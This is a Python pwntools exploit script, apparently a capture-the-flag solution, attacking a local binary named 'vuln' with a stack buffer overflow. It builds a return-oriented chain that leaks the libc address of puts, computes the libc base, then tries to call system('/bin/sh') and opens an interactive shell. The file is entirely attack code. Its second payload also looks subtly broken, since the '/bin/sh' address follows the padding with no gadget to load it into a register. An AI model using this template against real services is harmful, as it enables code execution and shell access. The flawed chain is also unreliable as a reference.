from pwn import *
import sys

context.binary = elf = ELF("./vuln")
rop = ROP(elf)
libc = ELF("./libc.so.6")
io = process("./vuln")
context.log_level = "DEBUG"

if len(sys.argv) == 2:
    if sys.argv[1] == "debug":
        context.terminal = ["tmux", "splitw", "-h"]
        gdb_commands = """
            break main
        """
        gdb.attach(io, gdb_commands)

print(io.recvuntil(b"Enter your name: "))

# *************** EXPLOIT PART *************** #

payload = b""
padding = b"A" * 24
pop_rdi = p64(rop.find_gadget(["pop rdi", "ret"])[0])
puts_got = p64(elf.got["puts"])
puts = p64(elf.sym["puts"])

payload = padding + pop_rdi + puts_got + puts + p64(elf.sym["main"])
io.sendline(payload)

io.recvline()

libc_leak = u64(io.recvuntil(b'\n').strip().ljust(8, b'\x00'))
print("Leak: ", hex(libc_leak))
libc_base = libc_leak - libc.sym["puts"]
libc.address = libc_base

padding2 = b"B" * 24
bin_sh = p64(next(libc.search(b"/bin/sh")))
system = p64(libc.sym["system"])

payload2 = padding2 + bin_sh + system
io.sendline(payload2)

# *************** EXPLOIT END *************** #


io.interactive()
